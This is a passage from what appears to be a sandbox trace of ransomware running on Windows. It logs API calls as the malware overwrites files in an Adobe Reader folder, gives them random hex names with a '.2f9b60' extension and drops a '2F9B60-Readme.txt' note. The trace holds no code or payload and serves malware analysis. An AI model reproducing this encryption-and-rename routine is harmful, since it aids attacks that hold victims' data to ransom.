hFile=0x1e24, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x33f5fa90, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x33f5fa90*=0x136, lpOverlapped=0x0) returned 1 [0137.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0137.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97cb0 [0137.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0137.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b30) returned 1 [0137.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0137.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x89) returned 0x202b1d70 [0137.852] sprintf (in: _Dest=0x202b1d70, _Format="%c%c" | out: _Dest="fc") returned 2 [0137.852] sprintf (in: _Dest=0x202b1d72, _Format="%c%c" | out: _Dest="eb") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d74, _Format="%c%c" | out: _Dest="97") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d76, _Format="%c%c" | out: _Dest="66") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d78, _Format="%c%c" | out: _Dest="65") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d7a, _Format="%c%c" | out: _Dest="46") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d7c, _Format="%c%c" | out: _Dest="d6") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d7e, _Format="%c%c" | out: _Dest="62") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d80, _Format="%c%c" | out: _Dest="c3") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d82, _Format="%c%c" | out: _Dest="68") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d84, _Format="%c%c" | out: _Dest="f1") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d86, _Format="%c%c" | out: _Dest="38") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d88, _Format="%c%c" | out: _Dest="28") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d8a, _Format="%c%c" | out: _Dest="b4") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d8c, _Format="%c%c" | out: _Dest="e0") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d8e, _Format="%c%c" | out: _Dest="12") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d90, _Format="%c%c" | out: _Dest="ab") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d92, _Format="%c%c" | out: _Dest="26") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d94, _Format="%c%c" | out: _Dest="dc") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d96, _Format="%c%c" | out: _Dest="b7") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d98, _Format="%c%c" | out: _Dest="4b") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d9a, _Format="%c%c" | out: _Dest="26") returned 2 [0137.853] sprintf (in: _Dest=0x202b1d9c, _Format="%c%c" | out: _Dest="42") returned 2 [0137.854] sprintf (in: _Dest=0x202b1d9e, _Format="%c%c" | out: _Dest="a6") returned 2 [0137.854] sprintf (in: _Dest=0x202b1da0, _Format="%c%c" | out: _Dest="62") returned 2 [0137.854] sprintf (in: _Dest=0x202b1da2, _Format="%c%c" | out: _Dest="de") returned 2 [0137.854] sprintf (in: _Dest=0x202b1da4, _Format="%c%c" | out: _Dest="f7") returned 2 [0137.854] sprintf (in: _Dest=0x202b1da6, _Format="%c%c" | out: _Dest="49") returned 2 [0137.854] sprintf (in: _Dest=0x202b1da8, _Format="%c%c" | out: _Dest="76") returned 2 [0137.854] sprintf (in: _Dest=0x202b1daa, _Format="%c%c" | out: _Dest="ae") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dac, _Format="%c%c" | out: _Dest="1f") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dae, _Format="%c%c" | out: _Dest="f6") returned 2 [0137.854] sprintf (in: _Dest=0x202b1db0, _Format="%c%c" | out: _Dest="48") returned 2 [0137.854] sprintf (in: _Dest=0x202b1db2, _Format="%c%c" | out: _Dest="d9") returned 2 [0137.854] sprintf (in: _Dest=0x202b1db4, _Format="%c%c" | out: _Dest="7a") returned 2 [0137.854] sprintf (in: _Dest=0x202b1db6, _Format="%c%c" | out: _Dest="da") returned 2 [0137.854] sprintf (in: _Dest=0x202b1db8, _Format="%c%c" | out: _Dest="45") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dba, _Format="%c%c" | out: _Dest="8c") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dbc, _Format="%c%c" | out: _Dest="cb") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dbe, _Format="%c%c" | out: _Dest="7b") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dc0, _Format="%c%c" | out: _Dest="37") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dc2, _Format="%c%c" | out: _Dest="20") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dc4, _Format="%c%c" | out: _Dest="b1") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dc6, _Format="%c%c" | out: _Dest="13") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dc8, _Format="%c%c" | out: _Dest="5c") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dca, _Format="%c%c" | out: _Dest="91") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dcc, _Format="%c%c" | out: _Dest="c0") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dce, _Format="%c%c" | out: _Dest="35") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dd0, _Format="%c%c" | out: _Dest="f5") returned 2 [0137.854] sprintf (in: _Dest=0x202b1dd2, _Format="%c%c" | out: _Dest="12") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dd4, _Format="%c%c" | out: _Dest="71") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dd6, _Format="%c%c" | out: _Dest="e9") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dd8, _Format="%c%c" | out: _Dest="56") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dda, _Format="%c%c" | out: _Dest="47") returned 2 [0137.855] sprintf (in: _Dest=0x202b1ddc, _Format="%c%c" | out: _Dest="2b") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dde, _Format="%c%c" | out: _Dest="a3") returned 2 [0137.855] sprintf (in: _Dest=0x202b1de0, _Format="%c%c" | out: _Dest="27") returned 2 [0137.855] sprintf (in: _Dest=0x202b1de2, _Format="%c%c" | out: _Dest="f2") returned 2 [0137.855] sprintf (in: _Dest=0x202b1de4, _Format="%c%c" | out: _Dest="5c") returned 2 [0137.855] sprintf (in: _Dest=0x202b1de6, _Format="%c%c" | out: _Dest="35") returned 2 [0137.855] sprintf (in: _Dest=0x202b1de8, _Format="%c%c" | out: _Dest="cc") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dea, _Format="%c%c" | out: _Dest="83") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dec, _Format="%c%c" | out: _Dest="ae") returned 2 [0137.855] sprintf (in: _Dest=0x202b1dee, _Format="%c%c" | out: _Dest="58") returned 2 [0137.855] sprintf (in: _Dest=0x202b1df0, _Format="%c%c" | out: _Dest="91") returned 2 [0137.855] sprintf (in: _Dest=0x202b1df2, _Format="%c%c" | out: _Dest="c0") returned 2 [0137.855] sprintf (in: _Dest=0x202b1df4, _Format="%c%c" | out: _Dest="7c") returned 2 [0137.855] sprintf (in: _Dest=0x202b1df6, _Format="%c%c" | out: _Dest="64") returned 2 [0137.855] RtlInitAnsiString (in: DestinationString=0x33f5fb08, SourceString="fceb97666546d662c368f13828b4e012ab26dcb74b2642a662def74976ae1ff648d97ada458ccb7b3720b1135c91c035f51271e956472ba327f25c35cc83ae5891c07c64" | out: DestinationString="fceb97666546d662c368f13828b4e012ab26dcb74b2642a662def74976ae1ff648d97ada458ccb7b3720b1135c91c035f51271e956472ba327f25c35cc83ae5891c07c64") [0137.855] RtlAnsiStringToUnicodeString (in: DestinationString=0x33f5fad8, SourceString="fceb97666546d662c368f13828b4e012ab26dcb74b2642a662def74976ae1ff648d97ada458ccb7b3720b1135c91c035f51271e956472ba327f25c35cc83ae5891c07c64", AllocateDestinationString=1 | out: DestinationString="fceb97666546d662c368f13828b4e012ab26dcb74b2642a662def74976ae1ff648d97ada458ccb7b3720b1135c91c035f51271e956472ba327f25c35cc83ae5891c07c64") returned 0x0 [0137.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x166f20 [0137.856] RtlFreeAnsiString (AnsiString="f") [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5ec0) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c490) returned 1 [0137.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0137.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0137.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609b0) returned 1 [0137.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0137.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278230 [0137.858] wcscat (in: _Dest=0x20278230, _Source="fceb97666546d662c368f13828b4e012ab" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\fceb97666546d662c368f13828b4e012ab") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\fceb97666546d662c368f13828b4e012ab" [0137.858] wcscat (in: _Dest=0x20278230, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\fceb97666546d662c368f13828b4e012ab.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\fceb97666546d662c368f13828b4e012ab.2f9b60" [0137.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\fceb97666546d662c368f13828b4e012ab.2f9b60", NtPathName=0x33f5fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\fceb97666546d662c368f13828b4e012ab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776690 [0137.858] NtSetInformationFile (FileHandle=0x1e24, IoStatusBlock=0x33f5fb50, FileInformation=0x1b776690, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0137.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0137.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0137.860] NtQueryInformationFile (in: FileHandle=0x1e24, IoStatusBlock=0x33f5fb18, FileInformation=0x33f5fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33f5fb18, FileInformation=0x33f5fb28) returned 0x0 [0137.860] NtSetInformationFile (FileHandle=0x1e24, IoStatusBlock=0x33f5fb18, FileInformation=0x33f5fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278230) returned 1 [0137.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0137.862] FlushFileBuffers (hFile=0x1e24) returned 1 [0138.540] CloseHandle (hObject=0x1e24) returned 1 [0138.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86baf0 [0138.651] wcscpy (in: _Dest=0x1b86baf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0138.651] wcscat (in: _Dest=0x1b86baf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" [0138.651] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt")) returned 0xffffffff [0138.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cd0 [0139.144] WriteFile (in: hFile=0x1cd0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x33f5f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x33f5f9d0*=0xba9, lpOverlapped=0x0) returned 1 [0139.217] CloseHandle (hObject=0x1cd0) returned 1 [0139.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86baf0) returned 1 [0139.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adef0) returned 1 Thread: id = 2043 os_tid = 0x12e0 [0137.797] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini")) returned 0x20 [0137.812] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini", dwFileAttributes=0x20) returned 1 [0137.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e28 [0137.823] GetFileSizeEx (in: hFile=0x1e28, lpFileSize=0x33e2fc60 | out: lpFileSize=0x33e2fc60*=1727) returned 1 [0137.823] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x6bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.823] ReadFile (in: hFile=0x1e28, lpBuffer=0x33e2fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33e2fc28, lpOverlapped=0x0 | out: lpBuffer=0x33e2fbe0*, lpNumberOfBytesRead=0x33e2fc28*=0x4, lpOverlapped=0x0) returned 1 [0137.830] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616d0 [0137.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0137.830] NtQuerySystemTime (in: CurrentTime=0x33e2fb20 | out: CurrentTime=0x33e2fb20*=132462177430750000) returned 0x0 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x1787ffb6 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x4b88d897 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x289fd142 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x68be55dd [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0xe538738 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x76885e62 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x11b557e0 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x34de351b [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x3a797aa2 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x74ac8bd6 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x3a355b45 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x619390a1 [0137.831] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x712902e9 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x7733c162 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x1c8a8e2c [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x1fd9d305 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x683f94e1 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0xa1785a7 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x561a1b66 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x35f54e19 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0xf7a84fd [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x3c3a3a8e [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x3cc3bca4 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x32c164ea [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x481fa68f [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x33511180 [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0xb853c0d [0137.832] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x58c49196 [0137.833] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x2bcd6051 [0137.833] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x2bd87f82 [0137.833] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x712d4662 [0137.833] RtlRandomEx (in: Seed=0x33e2fb10 | out: Seed=0x33e2fb10) returned 0x256bb83a [0137.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0137.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0137.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b30) returned 1 [0137.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0137.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.849] ReadFile (in: hFile=0x1e28, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x6bf, lpNumberOfBytesRead=0x33e2fb10, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x33e2fb10*=0x6bf, lpOverlapped=0x0) returned 1 [0137.849] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.849] WriteFile (hFile=0x1e28, lpBuffer=0x203118d0, nNumberOfBytesToWrite=0x6bf, lpNumberOfBytesWritten=0x33e2fb14, lpOverlapped=0x0) [0176.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c40 [0176.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c10 [0176.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c10) returned 1 [0176.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0176.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0176.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ebf0 [0176.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c10 [0176.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7c10) returned 1 [0176.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ec30 [0176.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7c10 [0176.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7af0 [0176.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7af0) returned 1 [0176.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x42c15dd0 [0176.613] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0176.614] WriteFile (in: hFile=0x1e28, lpBuffer=0x42c15dd0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33e2fc30, lpOverlapped=0x0 | out: lpBuffer=0x42c15dd0*, lpNumberOfBytesWritten=0x33e2fc30*=0x110, lpOverlapped=0x0) returned 1 [0199.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c290 [0199.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c290) returned 1 [0199.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1c290 [0199.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c260 [0199.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c1a0 [0199.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c1a0) returned 1 [0199.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x420591a0 [0199.951] sprintf (in: _Dest=0x420591a0, _Format="%c%c" | out: _Dest="2c") returned 2 [0199.951] sprintf (in: _Dest=0x420591a2, _Format="%c%c" | out: _Dest="12") returned 2 [0199.951] sprintf (in: _Dest=0x420591a4, _Format="%c%c" | out: _Dest="fe") returned 2 [0199.951] sprintf (in: _Dest=0x420591a6, _Format="%c%c" | out: _Dest="35") returned 2 [0199.951] sprintf (in: _Dest=0x420591a8, _Format="%c%c" | out: _Dest="9e") returned 2 [0199.952] sprintf (in: _Dest=0x420591aa, _Format="%c%c" | out: _Dest="ea") returned 2 [0199.952] sprintf (in: _Dest=0x420591ac, _Format="%c%c" | out: _Dest="93") returned 2 [0199.952] sprintf (in: _Dest=0x420591ae, _Format="%c%c" | out: _Dest="9a") returned 2 [0199.952] sprintf (in: _Dest=0x420591b0, _Format="%c%c" | out: _Dest="5d") returned 2 [0199.952] sprintf (in: _Dest=0x420591b2, _Format="%c%c" | out: _Dest="2b") returned 2 [0199.952] sprintf (in: _Dest=0x420591b4, _Format="%c%c" | out: _Dest="0b") returned 2 [0199.952] sprintf (in: _Dest=0x420591b6, _Format="%c%c" | out: _Dest="4b") returned 2 [0199.952] sprintf (in: _Dest=0x420591b8, _Format="%c%c" | out: _Dest="9b") returned 2 [0199.952] sprintf (in: _Dest=0x420591ba, _Format="%c%c" | out: _Dest="4d") returned 2 [0199.952] sprintf (in: _Dest=0x420591bc, _Format="%c%c" | out: _Dest="52") returned 2 [0199.952] sprintf (in: _Dest=0x420591be, _Format="%c%c" | out: _Dest="ae") returned 2 [0199.952] sprintf (in: _Dest=0x420591c0, _Format="%c%c" | out: _Dest="31") returned 2 [0199.952] sprintf (in: _Dest=0x420591c2, _Format="%c%c" | out: _Dest="cb") returned 2 [0199.952] sprintf (in: _Dest=0x420591c4, _Format="%c%c" | out: _Dest="b3") returned 2 [0199.952] sprintf (in: _Dest=0x420591c6, _Format="%c%c" | out: _Dest="13") returned 2 [0199.952] sprintf (in: _Dest=0x420591c8, _Format="%c%c" | out: _Dest="fd") returned 2 [0199.952] sprintf (in: _Dest=0x420591ca, _Format="%c%c" | out: _Dest="19") returned 2 [0199.952] sprintf (in: _Dest=0x420591cc, _Format="%c%c" | out: _Dest="a6") returned 2 [0199.952] sprintf (in: _Dest=0x420591ce, _Format="%c%c" | out: _Dest="a5") returned 2 [0199.952] sprintf (in: _Dest=0x420591d0, _Format="%c%c" | out: _Dest="41") returned 2 [0199.952] sprintf (in: _Dest=0x420591d2, _Format="%c%c" | out: _Dest="b3") returned 2 [0199.952] sprintf (in: _Dest=0x420591d4, _Format="%c%c" | out: _Dest="39") returned 2 [0199.952] sprintf (in: _Dest=0x420591d6, _Format="%c%c" | out: _Dest="7a") returned 2 [0199.952] sprintf (in: _Dest=0x420591d8, _Format="%c%c" | out: _Dest="29") returned 2 [0199.952] sprintf (in: _Dest=0x420591da, _Format="%c%c" | out: _Dest="9c") returned 2 [0199.952] RtlInitAnsiString 